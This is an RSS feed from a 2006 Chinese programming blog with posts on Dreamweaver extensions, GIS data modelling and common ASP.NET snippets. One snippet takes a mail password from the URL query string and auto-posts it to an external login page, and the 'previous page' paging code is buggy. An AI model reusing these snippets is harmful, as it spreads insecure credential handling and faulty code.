Text To Images，上述两种方法都可以自动执行 Fireworks。<br /><br /><b>11. 在网页中加入「设定成收藏夹」功能 </b><br /><br />在 Exchange里搜寻，你就可以发现 Add To Favorites的扩充功能。这个小小的档案才占 3K ，下载时间不会等太久，接着循相同步骤，由 Extension Manager加载 （Commands ·Manage Extensions, File ·Install Extension）。接着重新激活 Dreamweaver，这个新加载的扩充档案会在 Dreamweaver 里新增一项功能。如果你的中网页加入这个「加入收藏夹」的功能，这样一来网络使用者逛到你的网站时，轻轻一按，就可以轻易地将你的网站加入他使用浏览器的收藏夹（或是个人书签）。此外，你也可以自定收藏夹快捷方式名称，以及收藏夹快捷方式名称前中会出现的小图标（一般 IE 中收藏夹的快捷方式前面的小图标都是 IE 的默认值，若你有自己设计的小图标，那就酷多了。注意啦，这项功能只支持用 IE 4.0以及更高版本的浏览器。只要选择 Windows 选单里的Behavior 面版，再到 IE 功能下拉选单那儿选择此项功能，即可轻松激活此酷炫功能。 <br /><br /><b>12. 超酷的图表 </b><br /><br />如果你想制作表格，还要自己花时间再逐字敲打网页原始码吗？不需要了，已经有现成的啦！到 Exchange下载 Form Builder extension，就有现成的表格，可让你马上复制包含像国家、性别、婚姻状况、年龄层及其它目录等的字段表格。到 Exchange下载这个小巧（只有11K） 的档案，然后经由 Extension Manager 安装进来（Commands ·Manage Extensions, File ·Install Extension）。然接着只要重新激活 Dreamweaver，选择Insert ·FormBuilder，就会在（Insert· FormBuilder ）中发现扩充档。选择了之后这时会有一个对话框出现，会秀出所有可以套用的格式选单。<br /><br /></font>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6818.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-09 15:24 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/09/6818.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>GIS数学模型</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/07/6713.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Sun, 07 May 2006 12:58:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/07/6713.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6713.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/07/6713.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6713.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6713.html</trackback:ping><description><![CDATA[
		<strong>提要</strong> 　本篇根据GIS具体应用实例，详细阐述了GIS的基本数学模型，深入分析了非地理属性数据的本质特性及组织方法，并提出了绘图即编码的新观点。<br /><br /><b>关键词　 </b>GIS 非地理属性数据 图形编码<br /><br />　　<b>0． 引言<br /></b>　　近年来，GIS数据处理技术正以前所未有的速度，渗透到社会的各个部门。各行各业的GIS开发应用急剧增加，专业GIS平台种类繁多，新技术、新理念层出不穷，给人以目不暇接的感觉。作为一名业余GIS从业人员，根据行业应用具体例子，阐述GIS数据处理技术的基本原理及其应用方法。所述观点有偏薄之处，还请GIS行家斧正。<br /><br />　　<b>1． 现行GIS数学模型</b><br />　　GIS处理的数据对象不仅仅局限于地理测绘部门，基于地理信息基础上的规划、市政、土管、电力、电讯、自来水等相关行业，同样适用于GIS数据处理技术，这是无庸置疑的客观事实。值得探讨的是：各相关部门该如何利用测绘部门提供的基础地理信息？他们又该如何组织各自的专业数据？<br />　　现行的GIS数据处理模型，都是在海量级数字地理背景图上，叠加各自专业图符布置图，然后利用内置或外挂的关系型数据库，查询统计图形符号所属的参数记录。这样的数学模型，实际应用效果并不理想：操作人员在图形、表格之间煞费苦心，但始终不得要领；应用单位除了承担昂贵的专业GIS平台外，还得承担同样昂贵的关系型数据库平台。笔者以为，现行GIS数学模型的基本原理有待探讨。<br /><br />　　<b>2． GIS数据的基本结构</b><br />　　海量级数字地图本来是按一定比例尺度、一定投影带度（地理坐标系），分幅保存在地理测绘部门。以前都是以图纸形式，现在通行数字地图格式。大概是计算机图形处理技术太易于拼接叠加，程序设计人员很容易将数量众多的地理分幅图，拼接成海量级数字地图，作为各GIS相关行业的地理背景。这样的系统设计方法，违背了模块化设计这一信息处理技术的基本原则。<br />　　就单纯的地理信息而言，最小的、能够独立使用的基本数据模块，就是每张一定比例、一定投影带度的地理分幅图。单张地理分幅图的信息数据量相当有限，数量众多的地理分幅图叠加起来，才形成海量级地理背景图。在很小的电脑屏幕上，调集海量级图形数据，显示效果如同印象派画家的杰作，不知所云。实际应用当中，操作人员为了保持画面的清晰，常常关闭地理背景图层。早知今日，何必当初。<br />　　GIS相关行业在数据初始化阶段，确实应该尽可能搜集所有地理分幅图，包括不同坐标体系的地理图，这样可以在图纸或电子地图上，转录各自行业图符布置图，不必花费大量的人力、物力，到现场进行实地勘测，系统开发周期可以大大缩短。转录过程是必不可少的，因为测绘部门的图符规范与各行业规范不尽相同，图符之间的逻辑关系更是隔行如隔山。关于这一点，各相关行业部门并无异议，实际应用也是这样操作的。但无论从数据处理的基本原理，还是实际应用角度，都没有理由叠加海量级地理图作为基础背景。<br />　　也许有人要问，转录后的行业图符地理布置图，仍常常需要基本地理信息作为参考背景，那该如何处置？实际上这很容易解决，你只需将所有地理分幅图保存在指定的硬盘目录，需要时逐一调入叠加。很显然，这样的应用模式，更符合数据处理的基本原理，计算机系统资源也可大大节约。<br />　　这里想强调一点，无论是基础地理信息图，或是行业图符布置图，必须遵循测绘部门的地理坐标系。地理坐标系不仅具有严密的数学投影公式，而且是法定的标准规范。常常碰到一些非地理专业的设计人员，任意假定自己的地理坐标。这样的设计方法，能够应用一时，但给日后的数据维护运行带来无穷的后患。你的所有数据将成为“信息孤岛”：无法被别人共享，也无法共享别人信息。“地图永远跟不上建设”，你搜集到的最新版式的地图，很可能是五年甚至是十年前的地形地貌。动态变化的地理信息，是按照固定的坐标体系不断修测更新。地理坐标体系实际上是地理信息数据的基本编码字典，设计人员怎能凭自己的意愿，各自假定编码字典。笔者并非地理专业人员，认识地理坐标的重要性，完全是经验之谈。<br /><br />　　<b>3． 非地理属性数据的组织方法</b><br />　　笔者认同这样的观点：从内部结构上讲，计算机数据处理技术可以概括为逻辑上的关系型数据库处理模型；所有信息数据，无论是文本、数字、图形、图象、声音等等，都是以抽象的表格记录形式存贮在计算机内部。这是专业级系统开发商探讨的技术问题，笔者根本没有能力深入剖析。从具体应用角度出发，抽象的或者说是逻辑上的关系型表格数据库，是否都得影射成外观的表格数据记录，这就值得应用开发人员仔细推敲。就最常用的DXF格式的图形交换文件（数据）而言，其内部形式就是标准ASCII码表格数据，但它们的外部表现形式，则是具体形象的几何实体。对应用开发人员犹其是应用操作人员来讲，表格记录与图形数据是完全不同的数据类型，它们的组织方法、查询手段也是完全不同的。<br />　　单纯的图形数据组织方法与单纯的表格数据组织方法，谁也不会混淆。现行GIS相关行业的非地理属性数据的组织方法，笔者不敢苟同。绝大多数应用开发人员，都将它们整合成结构严谨的表格记录，并在表格数据库中进行相关的查询、统计。表面看来，似乎符合这些属性数据的管理模式。在未有计算机图形处理技术以前，这些属性数据无一例外地集中存贮在表格簿册之中。但这是不得已而为之。它们本该分散标注在图形符号的背后，只是在手工绘图阶段，根本无法实现。在计算机图形技术日臻完善的今天，可以利用隐含显示、透明叠加等计算机图形处理技术，方便准确地将属性记录标注在图形符号背后，直观形象地进行查询统计，应用效果如同“看图识字”。那只是还非地理属性数据以本来面目，从本质上讲，它们本来就属于图形数据，并非一般意义上的表格数据。它们的组织方法如同绘图一样，必须将一条条属性记录（类似于几何实体），分散标注在它们本该出现的位置。方便灵活的分散标注过程只是人机对话的表面形式，集中存贮仍是属性数据计算机内部结构。对编程人员来讲，面对的仍是整齐划一的DXF格式的数据表格，这与普通表格数据没有两样（实际上DXF格式数据只是应用开发人员的数据组码，低层的数据代码更为整齐划一，但这是专业级开发商面对的数据格式）。对具体应用人员来讲，直观形象地进行查询统计，是他们最大的愿望。<br /><br />　　<b>4． 图形编码法</b><br />　　普通表格数据库中的数字编码，我们已经运用得驾轻就熟，对图形编码[1]可能还比较陌生。但“信息技术工作者，逐步意识到用地理位置来检索数据，是组织和使用数字式数据的基本方法”[2]。讲得通俗点，使用图形编码是组织和运用图形数据（包括非地理属性数据）的基本方法。所谓图形编码法，就是以图形符号为基本工程语言，依照行业设计规范，绘制或标注图符、属性的全过程，就是图形编码法。简而言之，绘图即编码。<br />　　图形编码在未有计算机图形处理技术以前就已存在，手工绘图的全过程，运用的就是图形编码法，但使用范围局限于狭义的图形符号。随着计算机技术的迅猛发展，图形编码的使用范围早已超出狭义的制图设计过程。司空见惯的条形码技术，就是典型的图形编码在表格数据库中的具体应用。DOS操作系统与Windows操作系统最本质的区别，前者采用的是数字编码命令体系，后者采用是图形编码命令体系。<br />　　遗憾的是，由于不了解非地理属性数据的实质就是图形数据，没有认识到绘图标注过程就是编码过程，也可能是关系型数据库技术过于流行，GIS相关行业的程序设计人员，都将非地理属性数据分门别类，集中存贮在内置或外挂的关系型数据库中，并人为添加一条编码字段，进行日常的查询统计。这从数学原理上讲是不成立的，简单的图形符号，比如条形码，尚能用一串数码来描述；复杂的图形符号及其相互间的逻辑关系，根本无法用数码来表示，否则就不存在各行业的工程设计语言。实际应用当中，非地理属性数据在关系型数据库中的查询统计效果，差强人意，操作人员始终处在云里雾里。更为烦恼的是，管理人员为了维护程序设计人员外加的编码体系，费尽心机，但始终不得要领。非地理属性数据的编码字典，就是管理人员熟知的行业设计规范。程序设计人员必须首先掌握GIS及相关行业的工程设计规范，然后才能进行应用系统的组织、设计。<br />　　非地理属性数据采用图形编码法，才能满足数据模块化设计的原则。GIS相关行业的基本数据模块，就是每张专业图符（属性）地理布置图，它们是由不同类型的图符实体，依据各自的行业规范，准确连接而成的、可以独立使用的基本数据模块。这在关系型表格数据库中是无法实现的，表格数据库采用的是分门别类方法，不同类型的属性数据无法整合在同一表格簿册中。这既是它的优点，也是它的不足。数据处理技术并非只有关系型数据库一种，程序设计人员首先考虑的就是根据不同行业数据特性，选择不同的数据处理技术。<br /><br />　　<b>5． GIS应用实例</b><br />　　图例是笔者利用最普通的ACAD（R14）作为GIS平台（Autodesk公司提供专业GIS平台，如AutoCAD Map、MapGuide等系列），引用当地最常用的宁波独立坐标系，依据图形编码法，准确绘制的配网地理接线图。没有任何地理背景，需要时可以随时叠加任何已有的或者今后再版的地理分幅图。没有外挂任何关系型数据库（ACAD支持多种关系型数据库），你用鼠标就可直接点取任一电气设备的全部属性参数。为了保持画面的清晰，只显示一、二项属性参数，其余均被隐含在图形符号的背后。你当然可以根据不同的统计口径，编制小段管理程序，汇总统计各种参数，编程过程并不复杂。应用人员几乎可以不经任何培训，就能上机查询，真正体现“所见即所得”设计目标。<br />　　根据模块化设计原则，剥离了海量级地理背景图，配网地理接线图也是按馈线分别存贮在指定的硬盘目录，需要时逐一调用，这样的GIS应用模型可以在P/100/40M普通微机上流畅运行。采用更高档的系统机型，选择更专业的GIS平台，应该根据系统的综合性能价格比，由用户作出最终抉择。作为程序设计人员，必须确保信息处理的数学模型科学规范，维护运行的人机界面简单明了。<br /><br /><br /><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6713.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-07 20:58 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/07/6713.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>强烈推荐：ASP.NET程序中常用的三十三种代码(下)</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/05/6650.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 05 May 2006 10:23:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/05/6650.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6650.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/05/6650.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6650.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6650.html</trackback:ping><description><![CDATA[
		<strong>18.日期格式化<br /><br /></strong>　　【aspx页面内：＜%# DataBinder.Eval(Container.DataItem,"Company_Ureg_Date")%＞<br /><br />　　显示为： 2004-8-11 19:44:28<br /><br />　　我只想要：2004-8-11 】<br /><br /><code>＜%# DataBinder.Eval(Container.DataItem,"Company_Ureg_Date","{0:yyyy-M-d}")%＞</code><br />　　应该如何改？<br /><br />　　【格式化日期】<br /><br />　　取出来,一般是object((DateTime)objectFromDB).ToString("yyyy-MM-dd");<br /><br />　　【日期的验证表达式】<br /><br />　　A.以下正确的输入格式： [2004-2-29], [2004-02-29 10:29:39 pm], [2004/12/31] <br /><br /><code>^((\d{2}(([02468][048])|([13579][26]))[\-\/\s]?((((0?[13578])|(1[02]))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(3[01])))|(((0?[469])|(11))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(30)))|(0?2[\-\/\s]?((0?[1-9])|([1-2][0-9])))))|(\d{2}(([02468][1235679])|([13579][01345789]))[\-\/\s]?((((0?[13578])|(1[02]))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(3[01])))|(((0?[469])|(11))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(30)))|(0?2[\-\/\s]?((0?[1-9])|(1[0-9])|(2[0-8]))))))(\s(((0?[1-9])|(1[0-2]))\:([0-5][0-9])((\s)|(\:([0-5][0-9])\s))([AM|PM|am|pm]{2,2})))?$</code><br />　　B.以下正确的输入格式：[0001-12-31], [9999 09 30], [2002/03/03] <br /><br /><code>^\d{4}[\-\/\s]?((((0[13578])|(1[02]))[\-\/\s]?(([0-2][0-9])|(3[01])))|(((0[469])|(11))[\-\/\s]?(([0-2][0-9])|(30)))|(02[\-\/\s]?[0-2][0-9]))$ </code><br />　　【大小写转换】<br /><br /><code>HttpUtility.HtmlEncode(string);<br />HttpUtility.HtmlDecode(string)</code><br />　　<strong>19.如何设定全局变量<br /></strong><br />　　Global.asax中<br /><br />　　Application_Start()事件中<br /><br />　　添加Application[属性名] ＝ xxx;<br /><br />　　就是你的全局变量<br /><br />　　<strong>20.怎样作到HyperLinkColumn生成的连接后，点击连接，打开新窗口？</strong><br /><br />　　HyperLinkColumn有个属性Target,将器值设置成"_blank"即可.(Target="_blank")<br /><br />　　【ASPNETMENU】点击菜单项弹出新窗口<br /><br />　　在你的menuData.xml文件的菜单项中加入URLTarget="_blank"，如：<br /><br /><code>＜?xml version="1.0" encoding="GB2312"?＞<br />＜MenuData ImagesBaseURL="images/"＞ <br />＜MenuGroup＞<br />＜MenuItem Label="内参信息" URL="Infomation.aspx" ＞<br />＜MenuGroup ID="BBC"＞<br />＜MenuItem Label="公告信息" URL="Infomation.aspx" URLTarget="_blank" LeftIcon="file.gif"/＞<br />＜MenuItem Label="编制信息简报" URL="NewInfo.aspx" LeftIcon="file.gif" /＞<br />......</code><br />　　最好将你的aspnetmenu升级到1.2版<br /><br />　　<strong>21.读取DataGrid控件TextBox值<br /></strong><br /><code>foreach(DataGrid dgi in yourDataGrid.Items)<br />{<br />　TextBox tb = (TextBox)dgi.FindControl("yourTextBoxId");<br />　tb.Text....<br />}</code><br />　　<strong>23.在DataGrid中有3个模板列包含Textbox分别为 DG_ShuLiang (数量) DG_DanJian(单价) DG_JinE(金额)分别在5.6.7列，要求在录入数量及单价的时候自动算出金额即</strong>:数量*单价=金额还要求录入时限制为 数值型.我如何用客户端脚本实现这个功能?<br /><br />　　〖思归〗<br /><br /><code>＜asp:TemplateColumn HeaderText="数量"＞ <br />＜ItemTemplate＞<br />＜asp:TextBox id="ShuLiang" runat=’server’ Text=’＜%# DataBinder.Eval(Container.DataItem,"DG_ShuLiang")%＞’ <br />onkeyup="javascript:DoCal()"<br />/＞<br /><br />＜asp:RegularExpressionValidator id="revS" runat="server" ControlToValidate="ShuLiang" ErrorMessage="must be integer" ValidationExpression="^\d+$" /＞<br />＜/ItemTemplate＞<br />＜/asp:TemplateColumn＞<br /><br />＜asp:TemplateColumn HeaderText="单价"＞ <br />＜ItemTemplate＞<br />＜asp:TextBox id="DanJian" runat=’server’ Text=’＜%# DataBinder.Eval(Container.DataItem,"DG_DanJian")%＞’ <br />onkeyup="javascript:DoCal()"<br />/＞<br /><br />＜asp:RegularExpressionValidator id="revS2" runat="server" ControlToValidate="DanJian" ErrorMessage="must be numeric" ValidationExpression="^\d+(\.\d*)?$" /＞<br /><br />＜/ItemTemplate＞<br />＜/asp:TemplateColumn＞<br /><br />＜asp:TemplateColumn HeaderText="金额"＞ <br />＜ItemTemplate＞<br />＜asp:TextBox id="JinE" runat=’server’ Text=’＜%# DataBinder.Eval(Container.DataItem,"DG_JinE")%＞’ /＞<br />＜/ItemTemplate＞<br />＜/asp:TemplateColumn＞＜script language="javascript"＞<br />function DoCal()<br />{<br />　var e = event.srcElement;<br />　var row = e.parentNode.parentNode;<br />　var txts = row.all.tags("INPUT");<br />　if (!txts.length || txts.length ＜ 3)<br />　　return;<br /><br />　var q = txts[txts.length-3].value;<br />　var p = txts[txts.length-2].value;<br /><br />　if (isNaN(q) || isNaN(p))<br />　　return;<br /><br />　q = parseInt(q);<br />　p = parseFloat(p);<br /><br />　txts[txts.length-1].value = (q * p).toFixed(2);<br />}<br />＜/script＞<br /><strong><font face="Times New Roman">24.datagrid选定比较底下的行时，为什么总是刷新一下，然后就滚动到了最上面，刚才选定的行因屏幕的关系就看不到了。<br /><br /></font></strong><code>page_load <br />page.smartNavigation=true</code><br /><font face="Times New Roman">　　</font><font face="Times New Roman"><strong>25.在Datagrid中修改数据，当点击编辑键时，数据出现在文本框中，怎么控制文本框的大小 ? <br /></strong><br /></font><code>private void DataGrid1_ItemDataBound(obj sender,DataGridItemEventArgs e)<br />{<br />　for(int i=0;i＜e.Item.Cells.Count-1;i++)<br />　　if(e.Item.ItemType==ListItemType.EditType)<br />　　{<br />　　　e.Item.Cells[i].Attributes.Add("Width", "80px")<br />　　} <br />}</code><br /><font face="Times New Roman">　　</font><font face="Times New Roman"><strong>26.对话框<br /></strong><br /></font><code>private static string ScriptBegin = "＜script language=\"JavaScript\"＞";<br />private static string ScriptEnd = "＜/script＞";<br /><br />public static void ConfirmMessageBox(string PageTarget,string Content)<br />{<br />　string ConfirmContent="var retValue=window.confirm(’"+Content+"’);"+"if(retValue){window.location=’"+PageTarget+"’;}";<br /><br />　ConfirmContent=ScriptBegin + ConfirmContent + ScriptEnd;<br /><br />　Page ParameterPage = (Page)System.Web.HttpContext.Current.Handler;<br />　ParameterPage.RegisterStartupScript("confirm",ConfirmContent);<br />　//Response.Write(strScript);<br />}</code><br /><font face="Times New Roman">　　<strong>27. 将时间格式化：string aa=DateTime.Now.ToString("yyyy年MM月dd日");</strong><br /><br />　　1.1 取当前年月日时分秒 <br /><br /></font><code>currentTime=System.DateTime.Now;</code><br /><font face="Times New Roman">　　1.2 取当前年 <br /><br /></font><code>int 年= DateTime.Now.Year;</code><br /><font face="Times New Roman">　　1.3 取当前月 <br /><br /></font><code>int 月= DateTime.Now.Month; </code><br /><font face="Times New Roman">　　1.4 取当前日 <br /><br /></font><code>int 日= DateTime.Now.Day; </code><br /><font face="Times New Roman">　　1.5 取当前时 <br /><br /></font><code>int 时= DateTime.Now.Hour; </code><br /><font face="Times New Roman">　　1.6 取当前分 <br /><br /></font><code>int 分= DateTime.Now.Minute; </code><br /><font face="Times New Roman">　　1.7 取当前秒 <br /><br /></font><code>int 秒= DateTime.Now.Second; </code><br /><font face="Times New Roman">　　1.8 取当前毫秒 <br /><br /></font><code>int 毫秒= DateTime.Now.Millisecond; </code><br /><font face="Times New Roman">　　</font><font face="Times New Roman"><strong>28．自定义分页代码：<br /></strong><br />　　先定义变量 ：<br /><br /></font><code>public static int pageCount; //总页面数 <br />public static int curPageIndex=1; //当前页面 </code><br /><font face="Times New Roman">　　下一页： <br /><br /></font><code>if(DataGrid1.CurrentPageIndex ＜ (DataGrid1.PageCount - 1)) <br />{ <br />　DataGrid1.CurrentPageIndex += 1; <br />　curPageIndex+=1; <br />} <br /><br />bind(); // DataGrid1数据绑定函数 </code><br /><font face="Times New Roman">　　上一页： <br /><br /></font><code>if(DataGrid1.CurrentPageIndex ＞0) <br />{ <br />　DataGrid1.CurrentPageIndex += 1; <br />　curPageIndex-=1; <br />} <br /><br />bind(); // DataGrid1数据绑定函数 </code><br /><font face="Times New Roman">　　直接页面跳转： <br /><br /></font><code>int a=int.Parse(JumpPage.Value.Trim());//JumpPage.Value.Trim()为跳转值 <br /><br />if(a＜DataGrid1.PageCount) <br />{ <br />　this.DataGrid1.CurrentPageIndex=a; <br />} <br /><br />bind(); <br /><font face="Times New Roman"><strong>29．DataGrid使用：</strong><br /><br />　　添加删除确认： <br /><br /></font><code>private void DataGrid1_ItemCreated(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e) <br />{ <br />　foreach(DataGridItem di in this.DataGrid1.Items) <br />　{ <br />　　if(di.ItemType==ListItemType.Item||di.ItemType==ListItemType.AlternatingItem) <br />　　{ <br />　　　((LinkButton)di.Cells[8].Controls[0]).Attributes.Add("onclick","return confirm(’确认删除此项吗?’);"); <br />　　} <br />　} <br />} </code><br /><font face="Times New Roman">　　样式交替： <br /><br /></font><code>ListItemType itemType = e.Item.ItemType; <br /><br />if (itemType == ListItemType.Item ) <br />{ <br />　e.Item.Attributes["onmouseout"] = "javascript:this.style.backgroundColor=’#FFFFFF’;"; <br />　e.Item.Attributes["onmouseover"] = "javascript:this.style.backgroundColor=’#d9ece1’;cursor=’hand’;" ; <br />} <br />else if( itemType == ListItemType.AlternatingItem) <br />{ <br />　e.Item.Attributes["onmouseout"] = "javascript:this.style.backgroundColor=’#a0d7c4’;"; <br />　e.Item.Attributes["onmouseover"] = "javascript:this.style.backgroundColor=’#d9ece1’;cursor=’hand’;" ; <br />} </code><br /><font face="Times New Roman">　　添加一个编号列： <br /><br /></font><code>DataTable dt= c.ExecuteRtnTableForAccess(sqltxt); //执行sql返回的DataTable <br />DataColumn dc=dt.Columns.Add("number",System.Type.GetType("System.String")); <br /><br />for(int i=0;i＜dt.Rows.Count;i++) <br />{ <br />　dt.Rows[i]["number"]=(i+1).ToString(); <br />} <br /><br />DataGrid1.DataSource=dt; <br />DataGrid1.DataBind(); </code><br /><font face="Times New Roman">　　DataGrid1中添加一个CheckBox，页面中添加一个全选框 <br /><br /></font><code>private void CheckBox2_CheckedChanged(object sender, System.EventArgs e) <br />{ <br />　foreach(DataGridItem thisitem in DataGrid1.Items) <br />　{ <br />　　((CheckBox)thisitem.Cells[0].Controls[1]).Checked=CheckBox2.Checked; <br />　} <br />} </code><br /><font face="Times New Roman">　　将当前页面中DataGrid1显示的数据全部删除 <br /><br /></font><code>foreach(DataGridItem thisitem in DataGrid1.Items) <br />{ <br />　if(((CheckBox)thisitem.Cells[0].Controls[1]).Checked) <br />　{ <br />　　string strloginid= DataGrid1.DataKeys[thisitem.ItemIndex].ToString(); <br />　　Del (strloginid); //删除函数 <br />　} <br />} </code><br /><font face="Times New Roman">　　<strong>30．当文件在不同目录下，需要获取数据库连接字符串（如果连接字符串放在Web.config，然后在Global.asax中初始化）</strong><br /><br />　　在Application_Start中添加以下代码： <br /><br /></font><code>Application["ConnStr"]=this.Context.Request.PhysicalApplicationPath+ConfigurationSettings.<br />　　　AppSettings["ConnStr"].ToString();</code><br /><font face="Times New Roman">　　<strong>31． 变量.ToString()</strong><br /><br />　　字符型转换 转为字符串 <br /><br /></font><code>12345.ToString("n"); //生成 12,345.00 <br />12345.ToString("C"); //生成 ￥12,345.00 <br />12345.ToString("e"); //生成 1.234500e+004 <br />12345.ToString("f4"); //生成 12345.0000 <br />12345.ToString("x"); //生成 3039 (16进制) <br />12345.ToString("p"); //生成 1,234,500.00% </code><br /><font face="Times New Roman">　　<strong>32、变量.Substring(参数1,参数2);</strong><br /><br />　　截取字串的一部分，参数1为左起始位数，参数2为截取几位。 如：string s1 = str.Substring(0,2); <br /><br />　　</font><font face="Times New Roman"><strong>33．在自己的网站上登陆其他网站：(如果你的页面是通过嵌套方式的话，因为一个页面只能有一个FORM，这时可以导向另外一个页面再提交登陆信息) <br /></strong><br /></font><code>＜SCRIPT language="javascript"＞ <br />＜!-- <br />　function gook(pws) <br />　{ <br />　　frm.submit(); <br />　} <br />//--＞ <br /><br />＜/SCRIPT＞ ＜body leftMargin="0" topMargin="0" onload="javascript:gook()" marginwidth="0" marginheight="0"＞ <br />＜form name="frm" action=" http://220.194.55.68:6080/login.php?retid=7259 " method="post"＞ <br />＜tr＞ <br />＜td＞<br />＜input id="f_user" type="hidden" size="1" name="f_user" runat="server"＞<br />＜input id="f_domain" type="hidden" size="1" name="f_domain" runat="server"＞<br />＜input class="box" id="f_pass" type="hidden" size="1" name="pwshow" runat="server"＞ <br /><br />＜INPUT id="lng" type="hidden" maxLength="20" size="1" value="5" name="lng"＞<br />＜INPUT id="tem" type="hidden" size="1" value="2" name="tem"＞ <br /><br />＜/td＞ <br /><br />＜/tr＞ <br /><br />＜/form＞ </code><br /><font face="Times New Roman">　　文本框的名称必须是你要登陆的网页上的名称，如果源码不行可以用vsniffer 看看。 <br /><br />　　下面是获取用户输入的登陆信息的代码： <br /><br /></font><code>string name; <br />name=Request.QueryString["EmailName"]; <br /><br />try <br />{ <br />　int a=name.IndexOf("@",0,name.Length); <br />　f_user.Value=name.Substring(0,a); <br />　f_domain.Value=name.Substring(a+1,name.Length-(a+1)); <br />　f_pass.Value=Request.QueryString["Psw"]; <br />} <br /><br />catch <br />{ <br />　Script.Alert("错误的邮箱!"); <br />　Server.Transfer("index.aspx"); <br />}</code></code></code><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6650.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-05 18:23 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/05/6650.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>强烈推荐：ASP.NET程序中常用的三十三种代码(上)</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/05/6649.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 05 May 2006 10:22:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/05/6649.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6649.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/05/6649.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6649.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6649.html</trackback:ping><description><![CDATA[ <strong>1. 打开新的窗口并传送参数：</strong><br /><br />　　传送参数：<br /><br /><code>response.write("＜script＞window.open(’*.aspx?id="+this.DropDownList1.SelectIndex+"&amp;id1="+...+"’)＜/script＞")</code><br />　　接收参数：<br /><br /><code>string a = Request.QueryString("id");<br />string b = Request.QueryString("id1");</code><br />　　<strong>2.为按钮添加对话框<br /></strong><br /><code>Button1.Attributes.Add("onclick","return confirm(’确认?’)");<br />button.attributes.add("onclick","if(confirm(’are you sure...?’)){return true;}else{return false;}")</code><br />　<strong>　3.删除表格选定记录<br /></strong><br /><code>int intEmpID = (int)MyDataGrid.DataKeys[e.Item.ItemIndex];<br />string deleteCmd = "DELETE from Employee where emp_id = " + intEmpID.ToString()</code><br />　　<strong>4.删除表格记录警告<br /></strong><br /><code>private void DataGrid_ItemCreated(Object sender,DataGridItemEventArgs e)<br />{<br />　switch(e.Item.ItemType)<br />　{<br />　　case ListItemType.Item :<br />　　case ListItemType.AlternatingItem :<br />　　case ListItemType.EditItem:<br />　　　TableCell myTableCell;<br />　　　myTableCell = e.Item.Cells[14];<br />　　　LinkButton myDeleteButton ;<br />　　　myDeleteButton = (LinkButton)myTableCell.Controls[0];<br />　　　myDeleteButton.Attributes.Add("onclick","return confirm(’您是否确定要删除这条信息’);");<br />　　　break;<br />　　default:<br />　　　break;<br />　}<br /><br />}</code><br />　　<strong>5.点击表格行链接另一页<br /></strong><br /><code>private void grdCustomer_ItemDataBound(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e)<br />{<br />　//点击表格打开<br />　if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)<br />　　e.Item.Attributes.Add("onclick","window.open(’Default.aspx?id=" + e.Item.Cells[0].Text + "’);");<br />}</code><br />　　双击表格连接到另一页<br /><br />　　在itemDataBind事件中<br /><br /><code>if(e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)<br />{<br />　string OrderItemID =e.item.cells[1].Text;<br />　...<br />　e.item.Attributes.Add("ondblclick", "location.href=’../ShippedGrid.aspx?id=" + OrderItemID + "’");<br />}</code><br />　　双击表格打开新一页<br /><br /><code>if(e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)<br />{<br />　string OrderItemID =e.item.cells[1].Text;<br />　...<br />　e.item.Attributes.Add("ondblclick", "open(’../ShippedGrid.aspx?id=" 